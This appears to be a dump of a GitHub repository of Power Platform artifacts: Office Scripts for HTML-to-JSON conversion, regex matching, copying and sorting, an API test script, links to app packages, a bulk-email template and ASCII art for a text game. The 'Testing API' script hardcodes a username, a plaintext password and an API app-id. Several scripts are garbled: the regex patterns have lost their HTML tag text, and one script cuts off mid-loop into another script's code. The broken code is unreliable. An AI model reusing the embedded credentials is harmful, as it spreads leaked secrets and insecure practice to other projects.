-------------------------------------------------------------------------------- /Office Scripts/HTML to JSON.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.3.0","body":"function main(workbook: ExcelScript.Workbook, sHTML: string) {\n const reTable = RegExp(\"]*>\",\"g\");\n const reTbody = RegExp(\"]*>\",\"g\");\n const reHeader = RegExp(\"]*>\", \"g\");\n const reRow = RegExp(\"]*>\",\"g\");\n const reCell = RegExp(\"]*>\", \"g\"); \n let sReturn=\"[\" as string;\n let sTable: string = sHTML.split(reTable)[1].split(\"\")[0];\n sTable=sTable\n .replace(reTbody,\"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\");\n\n let aRows: string[] = sTable.split(reRow);\n aRows.shift();\n\n let aHeaders=[]= aRows[0].split(reHeader)\n if (aHeaders.length<2){\n aHeaders = aRows[0].split(reCell)\n }\n aHeaders.shift();\n aRows.forEach( row =>{\n if(row.trim().length>4 && !row.includes(\"\")){\n let sRow=\"{\"\n aHeaders.forEach((header,index) =>{\n sRow +=removeHTML(header) + \":'\" + \n removeHTML(row.trim().split(reCell)[index + 1])+\"',\"\n })\n sReturn += sRow.substring(0, sRow.length - 1) + \"},\"\n }\n })\n return sReturn.substring(0, sReturn.length - 1)+\"]\" ;\n}\n\nfunction removeHTML(sHTML: string){\n const reDiv = RegExp(\"]*>\", \"g\");\n return sHTML.replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(\"\", \"\")\n .replace(reDiv, \"\")\n .trim()\n}","description":"","noCodeMetadata":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"sHTML\",\"index\":0}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"sHTML\"],\"properties\":{\"sHTML\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"string\"}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"sHTML\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Office Scripts/Regex.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"function main\n (\n workbook: ExcelScript.Workbook, inputString: string,rgex: string,flag: string\n ) {\n\n let regEx = new RegExp(rgex, flag);\n let matches: string[] = [];\n let aMatches = inputString.match(regEx);\n\n if (aMatches) {\n for (var i = 0; i < aMatches.length; i++) {\n matches.push(aMatches[i]);\n }\n }\n\n return matches;\n}\n","description":"","parameterInfo":"{\"originalParameterOrder\":[{\"name\":\"inputString\",\"index\":0},{\"name\":\"rgex\",\"index\":1},{\"name\":\"flag\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"inputString\",\"rgex\",\"flag\"],\"properties\":{\"inputString\":{\"type\":\"string\"},\"rgex\":{\"type\":\"string\"},\"flag\":{\"type\":\"string\"}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"array\",\"items\":{\"type\":\"string\"}}}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Office Scripts/Simple Copy.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\n let ws=workbook.getWorksheet(\"summary\");\n let i=0;\n let aNewRange=[]=[];\n\n let rng=ws.getUsedRange().getValues();\n aNewRange.push(rng[0]);\n\n for(i==0;i {\n if (direct==\"asc\"){\n return a.ID - b.ID;\n }else{\n return b.ID - a.ID;\n }\n });\n } else{\n if (direct == \"asc\") {\n sortArray = data.sort((a, b) => a.ToSort.localeCompare(b.ToSort));\n }else{\n sortArray = data.sort((a, b) => b.ToSort.localeCompare(a.ToSort));\n }\n };\n let iRowCount=sortArray.length;\n\n let response: responseType = {\n data: sortArray,\n total:iRowCount\n }\n return sortArray\n}\n\ninterface schema {\n Date: string;\n ToSort: string;\n ID: number;\n}\ntype responseType = {\n data: schema[],\n total: number\n}\n","description":"","parameterInfo":"{\"originalParameterOrder\":[{\"name\":\"direct\",\"index\":0},{\"name\":\"sortType\",\"index\":1},{\"name\":\"data\",\"index\":2}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"direct\",\"sortType\",\"data\"],\"properties\":{\"direct\":{\"type\":\"string\"},\"sortType\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"Date\":{\"type\":\"string\"},\"ToSort\":{\"type\":\"string\"},\"ID\":{\"type\":\"number\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"Date\":{\"type\":\"string\"},\"ToSort\":{\"type\":\"string\"},\"ID\":{\"type\":\"number\"}}}}}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Office Scripts/Testing API.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"async function main(workbook: ExcelScript.Workbook) {\r\n\tlet iRows = 0;\r\n let aTemp=[]=[];\r\n\tlet username=\"dav00186\";\r\n\tlet password =\"phoenixMoo5\";\r\n\r\n\r\n\tconst myHeaders = new Headers({ 'app-id': '6356a23d9010d81d63ce8813'});\r\n\tconst myInit = {\r\n\t\tmethod: 'GET',\r\n\t\theaders: myHeaders\r\n\t};\r\n\tlet fetchResult = await fetch('https://dummyapi.io/data/v1/user', myInit);\r\n\tlet oData: dataType = await fetchResult.json();\r\n\tlet json: JSONData[] = oData.data;\r\n\r\n\tjson.forEach(item => \r\n\t\taTemp.push([item.id, item.title, item.firstName, item.lastName,item.picture])\r\n\t);\r\n\t\r\n\tiRows = json.length;\r\n\tworkbook.getWorksheet('Sheet1').getRange('A2:E' + (iRows+1)).setValues(aTemp);\r\n\t\r\n};\r\n\r\n\r\ninterface JSONData {\r\n\tid: number,\r\n\tfirstName: string,\r\n\tlastName: string,\r\n\ttitle: string,\r\n\tpicture: string\r\n}\r\n\r\ntype dataType = {\r\n\tdata: JSONData[]\r\n}\r\n\r\n\r\n\r\n//\tvar length = 0;\r\n//for (var key in json) {\r\n//\tif (json.hasOwnProperty(key)) {\r\n//\t\tlength++;\r\n//\t}\r\n//}\r\n//\tconst myHeaders = new Headers();\r\n//\tmyHeaders.append('Authorization', 'Basic' + btoa(username + \":\" + password));","description":"","parameterInfo":"{\"originalParameterOrder\":[],\"parameterSchema\":{\"type\":\"object\",\"default\":{},\"x-ms-visibility\":\"internal\"},\"returnSchema\":{\"type\":\"object\",\"properties\":{}}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} -------------------------------------------------------------------------------- /Power App Artifacts/404AppNotFound.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/404AppNotFound.zip -------------------------------------------------------------------------------- /Power App Artifacts/5 Calculators.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/5 Calculators.zip -------------------------------------------------------------------------------- /Power App Artifacts/Captcha_1_0_0_4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Captcha_1_0_0_4.zip -------------------------------------------------------------------------------- /Power App Artifacts/DynamicListSorter_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/DynamicListSorter_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/FlappyApp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/FlappyApp.zip -------------------------------------------------------------------------------- /Power App Artifacts/Flow Builder/Flow Templates.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Flow Builder/Flow Templates.xlsx -------------------------------------------------------------------------------- /Power App Artifacts/Flow Builder/FlowBuilder_1_0_0_2 (1).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Flow Builder/FlowBuilder_1_0_0_2 (1).zip -------------------------------------------------------------------------------- /Power App Artifacts/GameOfLife_1_0_0_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/GameOfLife_1_0_0_2.zip -------------------------------------------------------------------------------- /Power App Artifacts/Menu_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Menu_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/PlanningPoker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PlanningPoker_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/PollingApp_1_0_0_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PollingApp_1_0_0_2.zip -------------------------------------------------------------------------------- /Power App Artifacts/PowerPlatformSDD.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/PowerPlatformSDD.zip -------------------------------------------------------------------------------- /Power App Artifacts/SantaTracker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/SantaTracker_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/Snake_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Snake_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/StackedNotificationToastDemo_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/StackedNotificationToastDemo_1_0_0_1.zip -------------------------------------------------------------------------------- /Power App Artifacts/Tags_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power App Artifacts/Tags_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Bulk emailer/Bulk Email Conversion.osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"function main(workbook: ExcelScript.Workbook) {\r\n\tlet wb1 = workbook.getWorksheet(\"Sheet1\");\r\n\tlet wb2 = workbook.addWorksheet();\r\n\tlet i = 1;\r\n\tlet r=1;\r\n\tlet c=3;\r\n\tlet rowCount = wb1.getUsedRange().getRowCount();\r\n\tlet colCount = wb1.getUsedRange().getColumnCount();\r\n\tconsole.log(rowCount+\" \"+colCount);\r\n\tlet headersMain =[[\"Email\",\"Subject\"]]\r\n\twb1.getRange(\"A1:B1\").setValue(headersMain);\r\n\tlet headers=[[\"ID\",\"Email\",\"Change\",\"With\"]]\r\n\twb2.getRange(\"A1:D1\").setValue(headers);\r\n\r\n\tfor (r=1;r Hi {Name}

3 |
4 |

Thank you for this test, your reference is {Ref} and the result is {Outcome}

5 |

Test over :-)

6 |
7 | 8 | -------------------------------------------------------------------------------- /Power Automate Artifacts/Bulk emailer/bulk email list example.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Bulk emailer/bulk email list example.xlsx -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/Map.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/Map.xlsx -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/TextBasedGame_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/TextBasedGame_1_0_0_1.zip -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/canoe.txt: -------------------------------------------------------------------------------- 1 | .........................................................................................:::.......:............:--:..:::::: 2 | ..................... ..............................................................:::..:.:............::-==-:.:::::---:::: 3 | .............. .......................................:...........::::::::::....:::::.:..:.:--::::.....:-==+===-::.:=====--: 4 | ..... .....................:::........................:---=--:........::::...::::::------::-----::---:--:.:.::.::::--:-..:-= 5 | .............................::......::::.........:...::....::...::...::.......::-=+=-:.........:....:--:.:---::.::.--=-=-:. 6 | .:::...::::-::::::::.::::.........:--:..........:-==-::..:::.-==-:::::.:.::...-=-:....:::-:::::=+=::--=---::-----:.:::::.:-= 7 | .:....::::.:..:-==--:::...:::..:---:......:--=+=--:-====--:::::::::....:--:::-=:::.:-.:-=-:.::.:.::::::..:--==--:=@@@@=:-::: 8 | :...:::....:..-::..:..:::.:.:.:--:......:-:::....:::...::::-:...........:.:.::---:...:..:::.:..::.....:.::::-::.:@@@@@#=++== 9 | -:.::::.:::----.:..:.::--:-:-::----:::-=++=--::-=+-:..::....:--==-..:--:..:-:......-=-:::......::-----::.::.:.-#@@@*@@@-=++- 10 | -.:::-==++===-..:-::.:..::---:-----..:::....:---:.:---===:..::--=+++=-=====---=--::-::.:--==-::::...:::::.=%@@@@@@++%@@.-::: 11 | -:-:.:::.-.:.:.::.:.::....:.:.:::.=+-.:-----::..:...:==+++==--:.......:..::-::::..::::::..::---:-*@@@@@@@@@@@@@@@:@+=@@=:... 12 | -:....:==:::.:+=--..:-=====---:::::--:=+=--=+===**+=--:.:-=--::....::::---:-=-::::::...:+#@@@@@@@@@@@@@@@@@@@%=:@@*-=@@++*** 13 | -:..:-==-:-::--.---:..:-=+==++**=:.::-==---==-:.:.--:.---::....:::::----::..:==+*#%@@@@@@@@@@@@@@@@%*=-:.:..=%@@@-+=#@@--==+ 14 | .:--::-=+-:..:--::=+=-:.:-::..:::--:::...:.:-:...::...:::::::::--------:-+#@@@@@@@@@@@@@@@@%*-.=++=++**+-=#@@@#-+*.@@@+..... 15 | ::::..-:-=-::::::--:::....:-===-..:::::.::=++=----:::-===--==++==+**@@@@@@@@@@@@@@%*++*-.-:--==****+=-=##*=:.=#@+=@@@=:::... 16 | .::..:--:-=====-:...:=*###*+*+=-:.:....:------:....::.........-+%@@@@@@@@@@@*=::-:+*=-*=--:.:-=+=**+-.--:-+##**#*#@@@%-::--- 17 | :-==-::...:-=--=*##%%%#***##*+===========-.....::::::..:=%@@@@@@@@@@@@%#+=-=--=:-+#*-:+++*+-:--:-+##***%@#+--+++*@@@@@=-===+ 18 | ++====-:.::::----::.:-=----===:..:-+*##*+===---+#%@@@@@@@@@@@@@@+:-:-:-===+*=-.:-:--:=--=**=:=*%@@@%#*+====-::..::-*@@-::::: 19 | ::..:...:::::.:-+##*=---=+=:.:.:--==--:..::-+%@@@@@@@@@@@@*.:+***=+=+-==:--++-.-+#%@#-==+*@%*#%%*=------:.......::-%@%...... 20 | .::-+%@@@@@%*-:::=+=-:::--=++======--::=#@@@@@@@@@@@+=:=#@*==*-:--*+=+=.==++=-:-=+++***+#%#=--:::-===-:.....::.:..+@@=------ 21 | ..-%@@@@@#--::-+*##*+==++*+=-=+*#@@@@@@@@@@@@@+----+-.:*=+-.:+-++==##*+..:==+#%%%%@@@#=.::.:---=---:.............:@@+-==+++* 22 | .:#@@*-=%@%##*-::...---::::=%@@@@@@@@@@@#=..::.:.-=-=--=+:*#+-:..-++-=*::=+++*+.-:..::..-++*+=-:............:*@@@@@#:---::.. 23 | :-@@=:--=@@@@+-::.::-#@@@@@@@@@@@@*:=--:---=***%@@@%+:..=--=++###**+-:**+=:.:=:-=--=+**##+:...........:...-*@@@@@@*::....... 24 | *#@@*=----@@@@@@@@@@@@@@@@@@%=--.==*##%@#+=+*#+:.:---=++*@@@*--=+++--:::---+##*%%#*++++-:..............:*@@@@*::-::::...:::: 25 | :+@%--::==.+@@@@@@@@@+::--=++=::=+-:+:::-=-+#*#%@@@%*-=*+-:.--==-:--=*@@@%#*=---:...................-*%@@@%+::-::..::..::... 26 | =@@=##*+==++-.::.::-:.:::..::.:::-:-*####*+=**=-=--::.=:-:--=*+=:::=+*#+++++--:.......:::...... .-+#@@@%+::::.......:::::::: 27 | %@@=:---::=++*+=:.-:.:.....:=-.--::--:.:-:--::..::..--+:-:::::-=+*%@@@*--:....................:+#%%%*=.::::::::::::::::::... 28 | *@++-.::-:.:-=+=-====-==-----==-::..:--=+-+====+++===+=-------:-==-:.:::::::::::::::......:=*#%@%*-...::::...:::::::::::::-- 29 | %@.*=-==-..::.:-=*==+---::-*=+*++****+-==:-++++++===--:.:::....::::--:::..:::::::.....:=*#%%%#*-.....:....:::::::::::::::::: 30 | @@:+=-:---===++-=*--======**:-=+*+++=--=-::-------::::................:::.........:=+*#%%#*-:.:::::::::::::::::::..::::::::: 31 | %@:++****###%#*+==-:-...:=+-.::------==-::::.....................:......:..:..:=+#####*=:..........:.:::::..::...::::::::::: 32 | *@+--=+++**++=---::.::--==-:.:::::::...................................:..:=+*****+-:..::.............:::::................: 33 | :%@-:-=---::::..:::-.:==--:..::............................. .........-=+*##**=:..:..:.........::.......:::................. 34 | =-*#*+=-::-===-:.:-----...........................................:=+***++-:.....................................::::::::... 35 | ..:+#%@%%##*=:-=+*++=-....................................::-=+*****+=:.................................................:::: 36 | :::::=+++=:+##*+:.................:::::::............::-=+++++++==-:........................................................ 37 | .......-+#%#*-.........:::.....................::=+*#*****+=-:........................................:::::::............... 38 | -::..:+%@%+:.........................:...:=+******++==-:.................::...::::::::......................::.............. 39 | :::::+%#=.:::......................:=+**++**+++=-:.:-::::::::................::::::::::--::::::............................. 40 | -====#*:......................:-===+*+++=-::................:...............::....::::::::::::::::....... .................. 41 | --:::==........ .........:-====++++-..:......:..................................::...:::::::::::::::::...................... 42 | ::-:-=+:..............:-==+===-.........................................................:::::............................... 43 | :::::=*=:..........:=+++=-:..................... ........................................................................... 44 | ..::::=*+-........-++=::..........................................:::....................................................... 45 | ::::::.-=+=:.....:+=.........:......... .................................................................:........... ...... 46 | .........-==-::::-=:..........:.........................::............................ .................::::................ 47 | ..........:=====--:......................::..............:....::........................................................ .. -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/canyon escape flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/Power Automate Artifacts/Canyon Escape/canyon escape flow.png -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/compass.txt: -------------------------------------------------------------------------------- 1 | 2 | __ ____ ____ __ __ ___ ____ ___ _____ __ ____ ____ ___ 3 | / ] / || \ | | | / \ | \ / _] / ___/ / ] / || \ / _] 4 | / / | o || _ || | || || _ | / [_ ( \_ / / | o || o ) / [_ 5 | / / | || | || ~ || O || | | | _] \__ | / / | || _/ | _] 6 | / \_ | _ || | ||___, || || | | | [_ / \ |/ \_ | _ || | | [_ 7 | \ || | || | || || || | | | | \ |\ || | || | | | 8 | \____||__|__||__|__||____/ \___/ |__|__| |_____| \___| \____||__|__||__| |_____| 9 | 10 | |<><><><><><><><><><><><><><><><><><><><><><><>| 11 | | * | 12 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ | 13 | | (o ) . ( o) | 14 | | \/ .` `. \/ | 15 | | /\ .` `. /\ | 16 | | ( .` `. ) | 17 | | ) .` N `. ( | 18 | | ( .` A | `. ) | 19 | | ) .` <\> )|( `. ( | 20 | | ( .` \ | ( `. ) | 21 | | ) .` ) \ | ( `. ( | 22 | | .` ) \| ( `. | 23 | | .` W---)--------O--------(---E `. | 24 | | `. ) |\ ( .` | 25 | | ) `. ) | \ ( .` ( | 26 | | ( `. ) | \ .` ) | 27 | | ) `. )|( <\> .` ( | 28 | | ( `. | .` ) | 29 | | ) `. S .` ( | 30 | | ( `. .` ) | 31 | | \/ `. .` \/ | 32 | | /\ `. .` /\ | 33 | | (o ) `.` ( o) | 34 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ | 35 | | -|- LGB| 36 | |<><><><><><><><><><><><><><><><><><><><><><><>| -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/complete.txt: -------------------------------------------------------------------------------- 1 | .''. 2 | .''. . *''* :_\/_: . 3 | :_\/_: _\(/_ .:.*_\/_* : /\ : .'.:.'. 4 | .''.: /\ : /)\ ':'* /\ * : '..'. -=:o:=- 5 | :_\/_:'.:::. | ' *''* * '.\'/.'_\(/_'.':'.' 6 | : /\ : ::::: = *_\/_* -= o =- /)\ ' * 7 | '..' ':::' === * /\ * .'/.\'. ' ._____ 8 | * | *..* : |. |' .---"| 9 | * | _ .--'| || | _| | 10 | * | .-'| __ | | | || | 11 | .-----. | |' | || | | | | | || | 12 | ___' ' /"\ | '-."". '-' '-.' '` |____ 13 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 14 | ~-~-~-~-~-~-~-~-~-~ /| 15 | ) ~-~-~-~-~-~-~-~ /|~ /_|\ 16 | _-H-__ -~-~-~-~-~-~ /_|\ -~======-~ 17 | ~-\XXXXXXXXXX/~ ~-~-~-~ /__|_\ ~-~-~-~ 18 | ~-~-~-~-~-~ ~-~~-~-~-~-~ ======== ~-~-~-~ -------------------------------------------------------------------------------- /Power Automate Artifacts/Canyon Escape/fruit.txt: -------------------------------------------------------------------------------- 1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀ 2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠉⠹⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠅⠀⠀⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀ 3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠉⣻⣷⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀ 4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⣀⣠⡾⠋⠀⠈⠛⠿⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ 5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡟⠉⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⣄⠀⠀⠈⠉⡳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⣄⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠙⢷⣆⡀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠀⠀⢀⡀⠴⠀⠀⠀⠀⠀⠀⠀⠀ 7 | ⠀⠀⠀⠀⠀⢀⣤⣶⡿⠿⠿⠿⣷⣦⣤⣀⡀⣰⣿⠋⠀⠙⣿⡇⠀⠀⠀⣿⠀⠀⠀⠀⠷⡀⠀⠀⠀⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 8 | ⠀⠀⠀⢀⣴⡿⠛⠁⠀⠀⠀⠀⠀⠈⠉⠛⢿⣿⠋⠀⠀⣴⣿⠇⠀⠀⠀⣿⡆⠀⠀⠀⠀⠹⡄⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 9 | ⠀⠀⢠⣾⡟⠁⢀⡴⠂⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⣀⣴⣿⣯⡀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠘⢦⡀⠀⠀⠀⠈⠳⣄⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 10 | ⠀⢀⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠉⠣⡀⠙⠻⣷⣄⠀⢸⣿⠀⠀⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⢘⣿⡀⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 11 | ⠀⣾⣿⠷⢤⣤⣤⣤⣤⡴⣶⠀⠀⠀⠀⢀⡾⠃⠀⠀⠀⠙⣆⠀⠈⠻⣧⡀⢿⣆⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⡺⣿⡇⠐⢄⠀⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 12 | ⢸⣿⡇⠀⣠⠟⣀⠀⠀⠀⢸⣆⠀⠀⠀⡾⠁⠀⠀⠀⠀⠀⠘⣇⠀⠀⢻⣧⠘⣿⡆⠀⠀⠀⠀⠀⠀⣤⣄⠀⠀⢀⣵⠃⠀⠀⠀⠑⢄⠀⠀⠘⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 13 | ⢸⣿⠀⠀⢿⣀⣼⣧⣄⠀⠀⢿⣄⠀⠀⠁⠀⣀⣶⡀⠀⠀⠀⢸⡆⠀⢸⣿⠀⠹⣿⡄⠀⠀⠀⠀⠘⣿⡿⠁⠰⠛⠁⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀ 14 | ⢸⣿⠀⢰⡟⠻⣿⣿⣿⠀⠀⠀⠙⠷⠶⠶⠿⠋⠙⣧⡀⠀⠀⠈⡇⠀⣸⡿⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠙⢿⣆⡀⠀⠀⠀⠀⠀⠀ 15 | ⢸⣿⠀⠈⠛⠒⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⠀⠀⠃⣸⣿⠇⠀⠀⠀⠙⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠦⣄⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠙⢷⣄⠀⠀⠀⠀⠀ 16 | ⢸⣿⡇⠀⠀⠀⠀⠀⠀⠰⣶⣤⣀⡀⢠⣾⣿⣶⠀⠀⠀⠻⣦⣄⢠⣿⠋⠀⠀⠀⠀⠀⠈⢿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⠀⠀⠀ 17 | ⠀⢿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠈⣿⠿⣿⠀⠀⠀⠀⣰⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀ 18 | ⠀⠈⣿⣷⡄⠀⠀⠀⠀⠀⠀⢀⣠⠀⢀⠻⠦⠾⠀⠀⣠⣾⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠛⣷ 19 | 